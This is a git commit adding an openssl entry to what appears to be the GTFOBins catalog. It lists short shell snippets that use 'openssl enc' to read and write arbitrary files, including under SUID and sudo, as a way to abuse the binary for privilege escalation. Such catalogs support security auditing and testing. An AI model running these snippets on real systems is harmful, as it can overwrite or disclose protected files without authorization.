Add openssl-enc commands (#41)

This commit is contained in:
Chris Frederick 2018-12-17 07:46:30 -06:00 committed by Emilio
parent a659ed5d5f
commit cda1654809

24
_gtfobins/openssl.md Normal file
View File

@ -0,0 +1,24 @@
---
functions:
file-write:
- code: |
LFILE=file_to_write
echo DATA | openssl enc -out "$LFILE"
- code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
openssl enc -in "$TF" -out "$LFILE"
file-read:
- code: |
LFILE=file_to_read
openssl enc -in "$LFILE"
suid:
- code: |
LFILE=file_to_write
echo DATA | openssl enc -out "$LFILE"
sudo:
- code: |
LFILE=file_to_write
echo DATA | sudo openssl enc -out "$LFILE"
---